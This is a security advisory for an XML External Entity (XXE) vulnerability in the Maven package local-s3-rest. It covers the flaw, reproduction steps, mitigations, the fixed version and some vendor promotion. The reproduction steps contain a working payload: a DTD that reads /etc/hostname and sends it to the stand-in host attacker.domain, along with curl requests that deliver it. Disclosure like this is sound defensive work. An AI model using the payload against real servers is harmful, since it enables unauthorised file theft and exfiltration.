GHSA-47qw-ccjm-9c2c — local-s3-rest
Fix: Robothy/local-s3@d6ed756GHSA-47qw-ccjm-9c2c is a security vulnerability in io.github.robothy:local-s3-rest. A fix is available for io.github.robothy:local-s3-rest — see the affected versions and patch details below.
LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection
Real-World Exposure
io.github.robothy:local-s3-restReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Description
The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.
The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.
The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.
Steps to Reproduce
- Create a malicious DTD file containing the following content:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.domain/?flag=%file;'>">
%eval;
%exfil;
-
Host the malicious DTD file on an accessible web server
-
Initialize a multipart upload to the LocalS3 server:
curl -X PUT "http://app/test-bucket/test.txt?uploads"
- Send a POST request to complete the multipart upload with the following XML payload:
curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.domain/evil.dtd"> %dtd; ]> <CompleteMultipartUpload> <Part> <PartNumber>1</PartNumber> <ETag>test</ETag> </Part> </CompleteMultipartUpload>'
The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.
Mitigations
- Disable DTD processing in the XML parser configuration
- If DTD processing is required, disable the ability to load external entities and external DTDs
- Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature
- Set up proper input validation and sanitization for all XML processing operations
Impact
An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.github.robothy:local-s3-rest | all versions | 1.21io.github.robothy:local-s3-rest:1.21 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.robothy:local-s3-rest, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.github.robothy:local-s3-rest to 1.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-47qw-ccjm-9c2c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-47qw-ccjm-9c2c can be triaged on real exposure rather than presence alone.
Tailored to GHSA-47qw-ccjm-9c2c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-47qw-ccjm-9c2c in your dependencies?
O3 Security finds GHSA-47qw-ccjm-9c2c across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.